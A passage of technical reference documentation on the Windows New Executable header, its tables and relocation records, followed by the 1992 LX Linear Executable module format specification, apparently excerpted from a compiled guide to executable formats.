        0       The  linker  sets  this  bit  if  the executable-file format is
                SINGLEDATA. An  executable file with  this format contains  one
                data segment.  This bit is  set if the  file is a  dynamic-link
                library (DLL).
        1       The  linker  sets  this  bit  if  the executable-file format is
                MULTIPLEDATA.  An  executable  file  with  this format contains
                multiple  data segments.  This bit  is  set  if the  file is  a
                Windows application.
                If neither bit  0 nor bit 1 is  set, the executable-file format
                is  NOAUTODATA. An  executable file  with this  format does not
                contain an automatic data segment.
        2       Reserved.
        3       Reserved.
        8       Reserved.
        9       Reserved.
        11      If this  bit is set, the  first segment in the  executable file
                contains code that loads the application.
        13      If this bit is set, the  linker detects errors at link time but
                still creates an executable file.
        14      Reserved.
        15      If this bit is set, the executable file is a library module.
                If   bit  15   is  set,   the  CS:IP   registers  point  to  an
                initialization  procedure  called  with  the  value  in  the AX
                register  equal  to  the   module  handle.  The  initialization
                procedure  must execute  a far   return to  the caller.  If the
                procedure is successful, the value in AX is nonzero. Otherwise,
                the value in AX is zero. The value in the DS register is set to
                the library's data segment if  SINGLEDATA is set. Otherwise, DS
                is set  to the data segment  of the application that  loads the
                library.

0Eh     The automatic data  segment number. (0Eh is zero  if the SINGLEDATA and
        MULTIPLEDATA bits are cleared.)
10h     The initial  size, in bytes, of  the local heap. This  value is zero if
        there is no local allocation.
12h     The initial size, in bytes, of the  stack. This value is zero if the SS
        register value does not equal the DS register value.
14h     The segment:offset value of CS:IP.
18h     The segment:offset value of SS:SP.
        The value  specified in SS is  an index to the  module's segment table.
        The first entry  in the segment table corresponds  to segment number 1.
        If SS addresses the automatic data segment and SP is zero, SP is set to
        the address obtained  by adding the size of  the automatic data segment
        to the size of the stack.
1Ch     The number of entries in the segment table.
1Eh     The number of entries in the module-reference table.
20h     The number of bytes in the nonresident-name table.
22h     A relative  offset from  the beginning   of the  Windows header  to the
        beginning of the segment table.
24h     A relative  offset from  the beginning   of the  Windows header  to the
        beginning of the resource table.
26h     A relative  offset from  the beginning   of the  Windows header  to the
        beginning of the resident-name table.
28h     A relative  offset from  the beginning   of the  Windows header  to the
        beginning of the module-reference table.
2Ah     A relative  offset from  the beginning   of the  Windows header  to the
        beginning of the imported-name table.
2Ch     A relative offset  from the beginning of  the file to the  beginning of
        the nonresident-name table.
30h     The number of movable entry points.
32h     A shift count that  is used to align the logical  sector. This count is
        log2  of the  segment sector  size.  It  is typically  4, although  the
        default  count is  9. (This  value corresponds  to the  /alignment [/a]
        linker switch. When  the linker command line contains  /a:16, the shift
        count is  4. When the  linker command line  contains /a:512, the  shift
        count is 9.)
34h     The number of resource segments.
36h     The target operating system, depending on which bits are set:

        Bit     Meaning

        0       Operating system format is unknown.
        1       Reserved.
        2       Operating system is Microsoft Windows.
        3       Reserved.
        4       Reserved.

37h     Additional information about the executable file. It can be one or more
        of the following values:

        Bit     Meaning

        1       If this bit is set, the  executable file contains a Windows 2.x
                application that runs in version 3.x protected mode.
        2       If this bit is set, the  executable file contains a Windows 2.x
                application that supports proportional fonts.
        3       If this  bit is set,  the executable file  contains a fast-load
                area.

38h     The offset, in  sectors, to the beginning of  the fast-load area. (Only
        Windows uses this value.)
3Ah     The length, in sectors, of the  fast-load area. (Only Windows uses this
        value.)
3Ch     Reserved.
3Eh     The  expected  version  number  for  Windows.  (Only  Windows uses this
        value.)

Segment Table

The  segment  table  contains  information  that  describes  each segment in an
executable file.  This information includes  the segment length,  segment type,
and segment-relocation data. The following  list summarizes the values found in
the segment table (the locations are relative to the beginning of each entry):

Loc     Description

00h     The offset, in sectors, to the  segment data (relative to the beginning
        of the file). A value of zero means no data exists.
02h     The length,  in bytes, of  the segment,  in  the file. A  value of zero
        indicates that the segment length is 64K, unless the selector offset is
        also zero.
04h     Flags that describe the contents of the executable file. This value can
        be one or more of the following:

        Bit     Meaning

        0       If this bit  is set, the segment is  a data segment. Otherwise,
                the segment is a code segment.
        1       If this  bit is set,  the loader has  allocated memory for  the
                segment.
        2       If this bit is set, the segment is loaded.
        3       Reserved.
        4       If this bit is set, the segment type is MOVABLE. Otherwise, the
                segment type is FIXED.
        5       If  this bit  is set,  the segment  type is  PURE or SHAREABLE.
                Otherwise, the segment type is IMPURE or NONSHAREABLE.
        6       If this bit is set, the segment type is PRELOAD. Otherwise, the
                segment type is LOADONCALL.
        7       If  this bit  is set  and the  segment is  a code  segment, the
                segment type is EXECUTEONLY. If this bit is set and the segment
                is a data segment, the segment type is READONLY.
        8       If this bit is set, the segment contains relocation data.
        9       Reserved.
        10      Reserved.
        11      Reserved.
        12      If this bit is set, the segment is discardable.
        13      Reserved.
        14      Reserved.
        15      Reserved.

06h     The minimum allocation  size of the segment, in bytes.  A value of zero
        indicates that the minimum allocation size is 64K.

Resource Table

The resource  table describes and identifies  the location of each  resource in
the executable file.

Following are the members in the resource table:

rscAlignShift   The  alignment shift  count for  resource data.  When the shift
                count  is  used  as  an  exponent  of  2,  the  resulting value
                specifies the factor, in bytes, for computing the location of a
                resource in the executable file.
rscTypes        An array  of TTYPEINFO structures  containing information about
                resource types. There must be  one TTYPEINFO structure for each
                type of resource in the executable file.
rscEndTypes     The end of  the resource type definitions. This  member must be
                zero.
rscResourceNames  The  names (if  any) associated  with the  resources in  this
                  table. Each  name is stored  as consecutive bytes;  the first
                  byte specifies the number of characters in the name.
rscEndNames     The  end of  the resource  names and  the end  of the  resource
                table. This member must be zero.

Type Information

Following are the members in the TTYPEINFO structure:

rtTypeID        The  type identifier  of the  resource. This  integer value  is
                either a  resource-type value or  an offset to  a resource-type
                name. If the high bit in this member is set (0x8000), the value
                is one of the following resource-type values:

                Value           Resource type

                RT_ACCELERATOR  Accelerator table
                RT_BITMAP       Bitmap
                RT_CURSOR       Cursor
                RT_DIALOG       Dialog box
                RT_FONT         Font component
                RT_FONTDIR      Font directory
                RT_GROUP_CURSOR Cursor directory
                RT_GROUP_ICON   Icon directory
                RT_ICON         Icon
                RT_MENU         Menu
                RT_RCDATA       Resource data
                RT_STRING       String table

If the high bit of the value in this member is not set, the value represents an
offset, in bytes relative to the beginning  of the resource table, to a name in
the rscResourceNames member.

rtResourceCount The number of resources of this type in the executable file.
rtReserved      Reserved.
rtNameInfo      An array  of TNAMEINFO structures  containing information about
                individual resources. The  rtResourceCount member specifies the
                number of structures in the array.

Name Information

Following are the members in the TNAMEINFO structure:

rnOffset        An offset to the contents of the resource data (relative to the
                beginning  of the  file). The  offset is  in terms of alignment
                units specified by the rscAlignShift member at the beginning of
                the resource table.
rnLength        The resource length, in bytes.
rnFlags         Whether the  resource is fixed,  preloaded, or shareable.  This
                member can be one or more of the following values:

                Value   Meaning

                0x0010  Resource is movable (MOVEABLE). Otherwise, it is fixed.
                0x0020  Resource can be shared (PURE).
                0x0040  Resource  is  preloaded  (PRELOAD).  Otherwise,  it  is
                        loaded on demand.

rnID            Specifies  or  points  to   the  resource  identifier.  If  the
                identifier  is  an  integer,  the  high  bit  is  set  (8000h).
                Otherwise, it  is an offset  to a resource  string, relative to
                the beginning of the resource table.
rnHandle        Reserved.
rnUsage         Reserved.

Resident-Name Table

The resident-name  table contains strings  that identify exported  functions in
the executable file. As the name  implies, these strings are resident in system
memory and  are never discarded.  The resident-name strings  are case-sensitive
and are not null-terminated. The following  list summarizes the values found in
the resident-name  table (the locations are  relative to the beginning  of each
entry):

Location        Description

00h             The length  of a string.  If there are  no more strings  in the
                table, this value is zero.
01h - xxh       The resident-name  text. This string  is case-sensitive and  is
                not null-terminated.
xxh + 01h       An ordinal number that identifies the string. This number is an
                index into the entry table.

The first string in the resident-name table is the module name.

Module-Reference Table

The  module-reference table  contains offsets  for module  names stored  in the
imported-name table. Each entry in this table is 2 bytes long.

Imported-Name Table

The imported-name table contains the names  of modules that the executable file
imports. Each entry contains two parts: a single byte that specifies the length
of  the  string  and  the  string  itself.  The  strings  in this table are not
null-terminated.

Entry Table

The entry table contains bundles of  entry points from the executable file (the
linker generates each bundle). The numbering system for these ordinal values is
1-based--that is, the  ordinal value corresponding to the  first entry point is
1. The linker generates the densest possible bundles under the restriction that
it cannot reorder the entry points. This restriction is necessary because other
executable  files may  refer to  entry points  within a  given bundle  by their
ordinal  values. The  entry-table data  is organized  by bundle,  each of which
begins with a 2-byte header. The first  byte of the header specifies the number
of entries in the bundle (a value of  00h designates the end of the table). The
second byte specifies whether the corresponding segment is movable or fixed. If
the value in  this byte is 0FFh, the  segment is movable. If the  value in this
byte is 0FEh, the  entry does not refer to a segment  but refers, instead, to a
constant defined within  the module. If the value in  this byte is neither 0FFh
nor 0FEh, it is a segment index.

For  movable segments,  each entry  consists of  6 bytes  and has the following
form:

Loc     Description

00h     Specifies  a  byte  value.  This  value  can  be  a  combination of the
        following bits:

        Bit(s)  Meaning

        0       If this bit is set, the entry is exported.
        1       If this  bit is set,  the segment uses  a global (shared)  data
                segment.
        3-7     If  the  executable  file  contains  code  that  performs  ring
                transitions,  these  bits  specify  the  number  of  words that
                compose the  stack. At the  time of the  ring transition, these
                words must be copied from one ring to the other.

01h     An int 3fh instruction.
03h     The segment number.
04h     The segment offset.

For fixed segments, each entry consists of 3 bytes and has the following form:

Loc     Description

00h     Specifies  a  byte  value.  This  value  can  be  a  combination of the
        following bits:

        Bit(s)  Meaning

        0       If this bit is set, the entry is exported.
        1       If  this bit  is set,  the entry  uses a  global (shared)  data
                segment. (This may be set only for SINGLEDATA library modules.)
        3-7     If  the  executable  file  contains  code  that  performs  ring
                transitions,  these  bits  specify  the  number  of  words that
                compose the  stack. At the  time of the  ring transition, these
                words must be copied from one ring to the other.

01h     Specifies an offset.

Nonresident-Name Table

The nonresident-name table contains strings that identify exported functions in
the executable file. As the name implies, these strings are not always resident
in  system  memory  and  are  discardable.  The  nonresident-name  strings  are
case-sensitive; they are not null-terminated. The following list summarizes the
values  found  in  the  nonresident-name  table  (the  specified  locations are
relative to the beginning of each entry):

Location        Description

00h             The length, in  bytes, of a string. If this  byte is 00h, there
                are no more strings in the table.
01h - xxh       The nonresident-name text. This string is case-sensitive and is
                not null-terminated.
xx + 01h        An ordinal number that is an index to the entry table.

The  first  name  that  appears  in  the  nonresident-name  table is the module
description string (which was specified in the module-definition file).

Code Segments and Relocation Data

Code and data segments follow the Windows header. Some of the code segments may
contain  calls  to  functions  in  other  segments  and may, therefore, require
relocation data to resolve those references.  This relocation data is stored in
a relocation  table that  appears immediately  after the  code or  data in  the
segment. The first 2 bytes in this table specify the number of relocation items
the table contains.  A relocation item is a collection  of bytes specifying the
following information:

  - Address type (segment only, offset only, segment and offset)
  - Relocation type (internal reference, imported ordinal, imported name)
  - Segment number or ordinal identifier (for internal references)
  - Reference-table index or function ordinal number (for imported ordinals)
  - Reference-table index or name-table offset (for imported names)

Each  relocation  item  contains  8  bytes  of  data,  the  first byte of which
specifies one of the following relocation-address types:

Value   Meaning

0       Low byte at the specified offset
2       16-bit selector
3       32-bit pointer
5       16-bit offset
11      48-bit pointer
13      32-bit offset

The second byte specifies one of the following relocation types:

Value   Meaning

0       Internal reference
1       Imported ordinal
2       Imported name
3       OSFIXUP

The third and fourth bytes specify the offset of the relocation item within the
segment.

If the relocation  type is imported ordinal, the fifth  and sixth bytes specify
an index to a module's reference table and the seventh and eighth bytes specify
a function ordinal value.

If the relocation  type is imported name, the fifth  and sixth bytes specify an
index to a module's reference table and the seventh and eighth bytes specify an
offset to an imported-name table.

If  the relocation  type is  internal reference  and the  segment is fixed, the
fifth  byte specifies  the segment  number,  the  sixth byte  is zero,  and the
seventh and  eighth bytes specify an  offset to the segment.  If the relocation
type is internal reference and the segment is movable, the fifth byte specifies
0FFh,  the sixth  byte is  zero; and  the seventh  and eighth  bytes specify an
ordinal value found in the segment's entry table.



[]---<mince here>---<slice here>---<rip here>---<snip, snip>---<cut here>---[]

--------------------------------------+
09 - Guide to Windows New Executables |
--------------------------------------+

I'd like to point out that Windows uses the 'LE' signature and that OS/2 uses
the 'LX' signature although the rest of the header is the same format.


           LX - Linear eXecutable Module Format Description

                            June 3, 1992



   Figure 1. 32-bit Linear EXE File Layout

       00h +------------------+  <--+
           | DOS 2 Compatible |     |
           |    EXE Header    |     |
       1Ch +------------------+     |
           |      unused      |     |
           +------------------+     |
       24h |  OEM Identifier  |     |
       26h |  OEM Info        |     |
           |                  |     |-- DOS 2.0 Section
       3Ch |  Offset to       |     |   (Discarded)
           |  Linear EXE      |     |
           |  Header          |     |
       40h +------------------+     |
           |   DOS 2.0 Stub   |     |
           |   Program &      |     |
           |   Reloc. Table   |     |
           +------------------+  <--+
           |                  |
       xxh +------------------+  <--+
           |    Executable    |     |
           |       Info       |     |
           +------------------+     |
           |      Module      |     |
           |       Info       |     |
           +------------------+     |-- Linear Executable
           |  Loader Section  |     |   Module Header
           |       Info       |     |   (Resident)
           +------------------+     |
           |   Table Offset   |     |
           |       Info       |     |
           +------------------+  <--+
           |   Object Table   |     |
           +------------------+     |
           | Object Page Table|     |
           +------------------+     |
           |  Resource Table  |     |
           +------------------+     |
           |  Resident Name   |     |
           |      Table       |     |
           +------------------+     |-- Loader Section
           |   Entry Table    |     |   (Resident)
           +------------------+     |
           |   Module Format  |     |
           | Directives Table |     |
           |    (Optional)    |     |
           +------------------+     |
           |     Resident     |     |
           | Directives Data  |     |
           |    (Optional)    |     |
           |                  |     |
           |  (Verify Record) |     |
           +------------------+     |
           |     Per-Page     |     |
           |     Checksum     |     |
           +------------------+  <--+
           | Fixup Page Table |     |
           +------------------+     |
           |   Fixup Record   |     |
           |       Table      |     |
           +------------------+     |-- Fixup Section
           |   Import Module  |     |   (Optionally Resident)
           |    Name Table    |     |
           +------------------+     |
           | Import Procedure |     |
           |    Name Table    |     |
           +------------------+  <--+
           |   Preload Pages  |     |
           +------------------+     |
           |    Demand Load   |     |
           |       Pages      |     |
           +------------------+     |
           |  Iterated Pages  |     |
           +------------------+     |
           |   Non-Resident   |     |-- (Non-Resident)
           |    Name Table    |     |
           +------------------+     |
           |   Non-Resident   |     |
           | Directives Data  |     |
           |    (Optional)    |     |
           |                  |     |
           |  (To be Defined) |     |
           +------------------+  <--+
           |    Debug Info    |     |-- (Not used by Loader)
           +------------------+  <--+



 Figure 2. 32-bit Linear EXE Header

           +-----+-----+-----+-----+-----+-----+-----+-----+
       00h | "L"   "X" |B-ORD|W-ORD|     FORMAT LEVEL      |
           +-----+-----+-----+-----+-----+-----+-----+-----+
       08h | CPU TYPE  |  OS TYPE  |    MODULE VERSION     |
           +-----+-----+-----+-----+-----+-----+-----+-----+
       10h |     MODULE FLAGS      |   MODULE # OF PAGES   |
           +-----+-----+-----+-----+-----+-----+-----+-----+
       18h |     EIP OBJECT #      |          EIP          |
           +-----+-----+-----+-----+-----+-----+-----+-----+
       20h |     ESP OBJECT #      |          ESP          |
           +-----+-----+-----+-----+-----+-----+-----+-----+
       28h |       PAGE SIZE       |   PAGE OFFSET SHIFT   |
           +-----+-----+-----+-----+-----+-----+-----+-----+
       30h |  FIXUP SECTION SIZE   | FIXUP SECTION CHECKSUM|
           +-----+-----+-----+-----+-----+-----+-----+-----+
       38h |  LOADER SECTION SIZE  |LOADER SECTION CHECKSUM|
           +-----+-----+-----+-----+-----+-----+-----+-----+
       40h |    OBJECT TABLE OFF   |  # OBJECTS IN MODULE  |
           +-----+-----+-----+-----+-----+-----+-----+-----+
       48h | OBJECT PAGE TABLE OFF | OBJECT ITER PAGES OFF |
           +-----+-----+-----+-----+-----+-----+-----+-----+
       50h | RESOURCE TABLE OFFSET |#RESOURCE TABLE ENTRIES|
           +-----+-----+-----+-----+-----+-----+-----+-----+
       58h | RESIDENT NAME TBL OFF |   ENTRY TABLE OFFSET  |
           +-----+-----+-----+-----+-----+-----+-----+-----+
       60h | MODULE DIRECTIVES OFF | # MODULE DIRECTIVES   |
           +-----+-----+-----+-----+-----+-----+-----+-----+
       68h | FIXUP PAGE TABLE OFF  |FIXUP RECORD TABLE OFF |
           +-----+-----+-----+-----+-----+-----+-----+-----+
       70h | IMPORT MODULE TBL OFF | # IMPORT MOD ENTRIES  |
           +-----+-----+-----+-----+-----+-----+-----+-----+
       78h |  IMPORT PROC TBL OFF  | PER-PAGE CHECKSUM OFF |
           +-----+-----+-----+-----+-----+-----+-----+-----+
       80h |   DATA PAGES OFFSET   |    #PRELOAD PAGES     |
           +-----+-----+-----+-----+-----+-----+-----+-----+
       88h | NON-RES NAME TBL OFF  | NON-RES NAME TBL LEN  |
           +-----+-----+-----+-----+-----+-----+-----+-----+
       90h | NON-RES NAME TBL CKSM |   AUTO DS OBJECT #    |
           +-----+-----+-----+-----+-----+-----+-----+-----+
       98h |    DEBUG INFO OFF     |    DEBUG INFO LEN     |
           +-----+-----+-----+-----+-----+-----+-----+-----+
       A0h |   #INSTANCE PRELOAD   |   #INSTANCE DEMAND    |
           +-----+-----+-----+-----+-----+-----+-----+-----+
       A8h |       HEAPSIZE        |
           +-----+-----+-----+-----+

 Note: The OBJECT ITER PAGES OFF must either be 0 or set to the
 same value as DATA PAGES OFFSET in OS/2 2.0. Ie., iterated pages are
 required to be in the same section of the file as regular pages.

 Note: Table offsets  in the Linear  EXE Header may be set to
 zero  to indicate that the table does not  exist in the  EXE
 file and it's size is zero.

     "L" "X" = DW  Signature word.
         The signature word is used by the loader to identify
         the EXE file as  a valid  32-bit  Linear  Executable
         Module  Format.  "L" is low order byte. "X"  is high
         order byte.

     B-ORD = DB  Byte Ordering.
         This byte specifies the byte ordering for the linear
         EXE format.  The values are:

             00H - Little Endian Byte Ordering.
             01H - Big Endian Byte Ordering.

     W-ORD = DB  Word Ordering.
         This byte specifies the Word ordering for the linear
         EXE format.  The values are:

             00H - Little Endian Word Ordering.
             01H - Big Endian Word Ordering.

     Format Level = DD  Linear EXE Format Level.
         The  Linear EXE Format Level is set  to  0  for  the
         initial version  of  the 32-bit linear  EXE  format.
         Each  incompatible  change to the  linear EXE format
         must increment this value.  This  allows the  system
         to recognized future EXE file versions  so  that  an
         appropriate  error message  may  be displayed  if an
         attempt is made to load them.

     CPU Type = DW  Module CPU Type.
         This  field specifies the type  of  CPU required  by
         this module to run.  The values are:

             01H  -  80286  or  upwardly  compatible  CPU  is
             required to execute this module.
             02H  -  80386  or  upwardly  compatible  CPU  is
             required to execute this module.
             03H  -  80486  or  upwardly  compatible  CPU  is
             required to execute this module.

     OS Type = DW  Module OS Type.
         This field specifies the type  of  Operating  system
         required to run  this module.  The currently defined
         values are:

             00H - Unknown (any "new-format" OS)
             01H - OS/2 (default)
             02H - Windows
             03H - DOS 4.x
             04H - Windows 386

     MODULE VERSION = DD  Version of the linear EXE module.
         This is useful for differentiating between revisions
         of dynamic linked modules.  This  value is specified
         at link time by the user.

     MODULE FLAGS = DD  Flag bits for the module.
         The module flag bits have the following definitions.

             00000001h = Reserved for system use.
             00000002h = Reserved for system use.
             00000004h = Per-Process Library Initialization.
                 The setting  of this  bit  requires the  EIP
                 Object  #  and  EIP  fields  to  have  valid
                 values.  If the EIP Object # and EIP  fields
                 are  valid  and this  bit is  NOT  set, then
                 Global Library  Initialization  is  assumed.
                 Setting this bit for an EXE file is invalid.

             00000008h = Reserved for system use.
             00000010h = Internal fixups for the  module have
             been applied.
                 The  setting   of  this  bit  in  a   Linear
                 Executable Module indicates that each object
                 of  the module  has a preferred load address
                 specified  in  the Object  Table  Reloc Base
                 Addr.  If the module's  objects  can  not be
                 loaded at  these  preferred  addresses, then
                 the   relocation  records  that  have   been
                 retained in the file data will be applied.

             00000020h = External fixups for  the module have
             been applied.
             00000040h = Reserved for system use.
             00000080h = Reserved for system use.
             00000100h = Incompatible with PM windowing.
             00000200h = Compatible with PM windowing.
             00000300h = Uses PM windowing API.
             00000400h = Reserved for system use.
             00000800h = Reserved for system use.
             00001000h = Reserved for system use.
             00002000h = Module is not loadable.
                 When  the 'Module is  not loadable' flag  is
                 set, it indicates that  either  errors  were
                 detected at link  time or that the module is
                 being  incrementally  linked  and  therefore
                 can't be loaded.

             00004000h = Reserved for system use.
             00038000h = Module type mask.
             00000000h = Program module.
                 A module  can not  contain  dynamic links to
                 other modules that have the 'program module'
                 type.

             00008000h = Library module.
             00018000h = Protected Memory Library module.
             00020000h = Physical Device Driver module.
             00028000h = Virtual Device Driver module.
             40000000h = Per-process Library Termination.
                 The  setting of this bit  requires  the  EIP
                 Object  #  and  EIP  fields  to  have  valid
                 values.  If the EIP Object  # and EIP fields
                 are  valid  and  this bit  is NOT  set, then
                 Global  Library   Termination   is  assumed.
                 Setting this bit for an EXE file is invalid.

     MODULE # PAGES = DD  Number of pages in module.

         This field specifies the number of  pages physically
         contained in  this module.  In  other  words,  pages
         containing  either enumerated or  iterated data,  or
         zero-fill pages  that have relocations,  not invalid
         or zero-fill  pages implied by  the  Virtual Size in
         the Object  Table being  larger  than  the number of
         pages actually in  the linear EXE file.  These pages
         are  contained in the  'preload pages', 'demand load
         pages'  and  'iterated  data pages' sections of  the
         linear EXE module.  This  is  used  to determine the
         size  of the page information tables  in  the linear
         EXE module.

     EIP OBJECT #  = DD The Object number to which  the Entry
     Address is relative.
         This specifies the object to which the Entry Address
         is  relative.  This must be a  nonzero  value  for a
         program module to be correctly loaded.  A zero value
         for a library module indicates that no library entry
         routine exists.  If  this  value  is zero, then both
         the  Per-process Library Initialization bit and  the
         Per-process Library Termination bit must be clear in
         the module flags,  or  else the loader will fail  to
         load   the  module.  Further,  if  the   Per-process
         Library Termination  bit is set, then the  object to
         which  this field  refers  must  be a 32-bit  object
         (i.e., the Big/Default bit must be set in the object
         flags; see below).

     EIP = DD  Entry Address of module.
         The  Entry  Address  is  the  starting  address  for
         program modules and  the  library initialization and
         Library termination address for library modules.

     ESP OBJECT # = DD The Object number to  which the ESP is
     relative.
         This  specifies the object to which the starting ESP
         is relative.  This  must be  a  nonzero  value for a
         program  module to be correctly  loaded.  This field
         is ignored for a library module.

     ESP = DD  Starting stack address of module.
         The  ESP defines the starting stack  pointer address
         for program modules.  A zero  value  in  this  field
         indicates   that   the  stack  pointer   is  to   be
         initialized  to the  highest  address/offset in  the
         object.  This field is ignored for a library module.

     PAGE SIZE = DD  The size of one page for this system.
         This  field  specifies  the  page size  used  by the
         linear EXE  format and the  system.  For the initial
         version of this linear  EXE format the page  size is
         4Kbytes.  (The 4K page size  is specified by a value
         of 4096 in this field.)

     PAGE OFFSET  SHIFT = DD  The shift left  bits  for  page
     offsets.
         This  field  gives the number  of bit  positions  to
         shift left when interpreting  the  Object Page Table
         entries' page  offset  field.  This  determines  the
         alignment  of the page information in the file.  For
         example, a value of  4 in this field would align all
         pages in the  Data Pages and Iterated Pages sections
         on 16  byte  (paragraph)  boundaries.  A Page Offset
         Shift of 9 would align all pages on a 512 byte (disk
         sector) basis.  The default  value for this field is
         12 (decimal), which give a 4096 byte alignment.  All
         other offsets are byte aligned.

     FIXUP  SECTION  SIZE  =  DD  Total  size  of  the  fixup
     information in bytes.
         This includes the following 4 tables:

             - Fixup Page Table
             - Fixup Record Table
             - Import Module name Table
             - Import Procedure Name Table

     FIXUP  SECTION  CHECKSUM   =   DD   Checksum  for  fixup
     information.
         This is a cryptographic checksum covering all of the
         fixup  information.  The  checksum   for  the  fixup
         information  is kept separate because the fixup data
         is  not  always loaded into  main  memory  with  the
         'loader  section'.  If  the  checksum feature is not
         implemented, then the  linker will set  these fields
         to zero.

     LOADER  SECTION  SIZE  =  DD  Size  of  memory  resident
     tables.
         This  is  the  total  size  in bytes of  the  tables
         required to be memory resident for the module, while
         the module is in use.  This total size  includes all
         tables from the Object  Table down to  and including
         the Per-Page Checksum Table.

     LOADER  SECTION  CHECKSUM  =  DD  Checksum   for  loader
     section.
         This is a cryptographic checksum covering all of the
         loader section information.  If the checksum feature
         is not implemented,  then the linker  will set these
         fields to zero.

     OBJECT TABLE OFF = DD  Object Table offset.
         This offset  is  relative  to  the  beginning of the
         linear EXE header.

     # OBJECTS IN MODULE = DD  Object Table Count.
         This defines the number of entries in Object Table.

     OBJECT PAGE TABLE OFFSET = DD  Object Page Table offset
         This offset is  relative  to  the beginning  of  the
         linear EXE header.

     OBJECT  ITER  PAGES  OFF  =  DD  Object  Iterated  Pages
     offset.
         This offset is relative to the beginning of  the EXE
         file.

     RESOURCE TABLE OFF = DD  Resource Table offset.
         This offset is relative  to  the  beginning  of  the
         linear EXE header.

     # RESOURCE  TABLE  ENTRIES  = DD  Number  of entries  in
     Resource Table.

     RESIDENT NAME TBL OFF = DD  Resident Name Table offset.
         This offset is  relative  to  the  beginning  of the
         linear EXE header.

     ENTRY TBL OFF = DD  Entry Table offset.
         This  offset  is  relative  to the beginning of  the
         linear EXE header.

     MODULE DIRECTIVES  OFF  =  DD  Module  Format Directives
     Table offset.
         This  offset  is  relative  to  the beginning of the
         linear EXE header.

     #  MODULE  DIRECTIVES  =  DD  Number  of  Module  Format
     Directives in the Table.
         This field specifies the number  of  entries in  the
         Module Format Directives Table.

     FIXUP PAGE TABLE OFF = DD  Fixup Page Table offset.
         This  offset  is  relative to the  beginning of  the
         linear EXE header.

     FIXUP RECORD TABLE OFF = DD  Fixup Record Table Offset
         This  offset is relative to  the  beginning  of  the
         linear EXE header.

     IMPORT  MODULE  TBL  OFF = DD  Import  Module Name Table
     offset.
         This  offset is relative  to  the  beginning of  the
         linear EXE header.

     # IMPORT MOD ENTRIES = DD  The  number of entries in the
     Import Module Name Table.

     IMPORT PROC TBL OFF  =  DD  Import Procedure  Name Table
     offset.
         This offset  is relative  to  the  beginning of  the
         linear EXE header.

     PER-PAGE CHECKSUM  OFF  =  DD  Per-Page  Checksum  Table
     offset.
         This  offset is  relative  to  the beginning of  the
         linear EXE header.

     DATA PAGES OFFSET = DD   Data Pages Offset.
         This offset is  relative to the beginning of the EXE
         file.

     # PRELOAD PAGES = DD  Number  of  Preload pages for this
     module. Note that OS/2 2.0 does not respect the preload
     of pages as specified in the executable file for performance
     reasons.

     NON-RES NAME  TBL  OFF  =  DD  Non-Resident  Name  Table
     offset.
         This offset is relative to the beginning of  the EXE
         file.

     NON-RES  NAME  TBL  LEN = DD  Number  of  bytes  in  the
     Non-resident name table.

     NON-RES  NAME TBL CKSM  =  DD  Non-Resident  Name  Table
     Checksum.
         This is a cryptographic checksum of the Non-Resident
         Name Table.

     AUTO  DS OBJECT  #  =  DD  The Auto Data  Segment Object
     number.
         This is the object number for  the Auto Data Segment
         used by 16-bit modules.  This field is supported for
         16-bit compatibility only and is not used by  32-bit
         modules.

     DEBUG INFO OFF = DD  Debug Information offset.
         This offset  is relative  to  the  beginning  of the
         linear EXE header.

     DEBUG INFO LEN = DD  Debug Information length.
         The length of the debug information in bytes.

      #  INSTANCE  PRELOAD  = DD Instance  pages  in  preload
     section.
         The  number  of instance  data pages  found  in  the
         preload section.

      #  INSTANCE  DEMAND  =  DD  Instance  pages  in  demand
     section.
         The  number  of instance  data pages  found  in  the
         demand section.

      HEAPSIZE = DD Heap size added to the Auto DS Object.
         The heap size is the  number  of  bytes added to the
         Auto  Data  Segment  by the loader.  This  field  is
         supported for  16-bit compatibility only and is  not
         used by 32-bit modules.





     Program (EXE) startup registers and Library entry registers


     Program startup registers are defined as follows.

         EIP = Starting program entry address.

         ESP = Top of stack address.

         CS = Code selector for base of linear address space.

         DS =  ES  = SS = Data  selector  for  base of linear
         address space.

         FS =  Data selector  of  base of Thread  Information
         Block (TIB).

         GS = 0.

         EAX = EBX = 0.

         ECX = EDX = 0.

         ESI = EDI = 0.

         EBP = 0.

         [ESP+0] =  Return  address to  routine  which  calls
         DosExit(1,EAX).

         [ESP+4] = Module handle for program module.

         [ESP+8] = Reserved.

         [ESP+12] = Environment data object address.

         [ESP+16]   =   Command  line   linear   address   in
         environment data object.


     Library initialization registers are defined as follows.

         EIP = Library entry address.

         ESP = User program stack.

         CS = Code selector for base of linear address space.

         DS  = ES = SS = Data  selector  for  base  of linear
         address space.

         Note that a  32-bit Protected Memory Library  module
         will be  given  a  GDT  selector in  the  DS  and ES
         registers (PROTDS)  that  addresses the  full linear
         address  space  available  to  a  application.  This
         selector  should  be  saved  by  the  initialization
         routine.  Non-Protected  Memory Library modules will
         receive a selector (FLATDS) that  addresses the same
         amount of linear  address  space as an application's
         .EXE can.

         FS  = Data selector  of base  of  Thread Information
         Block (TIB).

         GS = 0.

         EAX = EBX = 0.

         ECX = EDX = 0.

         ESI = EDI = 0.

         EBP = 0.

         [ESP+0] = Return address to system, (EAX)  =  return
         code.

         [ESP+4] = Module handle for library module.

         [ESP+8] = 0 (Initialization)

     Note that a  32-bit  library may specify  that its entry
     address is  in  a 16-bit code object.  In this case, the
     entry registers are the same  as for  entry to a library
     using the Segmented  EXE format.  These  are  documented
     elsewhere.  This  means  that  a  16-bit  library may be
     relinked to take advantage of the benefits of the Linear
     EXE format (notably, efficient paging).


     Library termination registers are defined as follows.

         EIP = Library entry address.

         ESP = User program stack.

         CS = Code selector for base of linear address space.

         DS  =  ES  = SS  = Data  selector for base of linear
         address space.

         FS  =  Data  selector of base of  Thread Information
         Block (TIB).

         GS = 0.

         EAX = EBX = 0.

         ECX = EDX = 0.

         ESI = EDI = 0.

         EBP = 0.

         [ESP+0] = Return address to system.

         [ESP+4] = Module handle for library module.

         [ESP+8] = 1 (Termination)

     Note  that  Library  termination  is  not  allowed   for
     libraries with 16-bit entries.





     Object Table


 The number of entries in the Object Table  is given by the #
 Objects in Module  field  in the linear EXE header.  Entries
 in the Object Table are numbered starting from one.

 Each Object Table entry has the following format:

           +-----+-----+-----+-----+-----+-----+-----+-----+
       00h |     VIRTUAL SIZE      |    RELOC BASE ADDR    |
           +-----+-----+-----+-----+-----+-----+-----+-----+
       08h |     OBJECT FLAGS      |    PAGE TABLE INDEX   |
           +-----+-----+-----+-----+-----+-----+-----+-----+
       10h |  # PAGE TABLE ENTRIES |       RESERVED        |
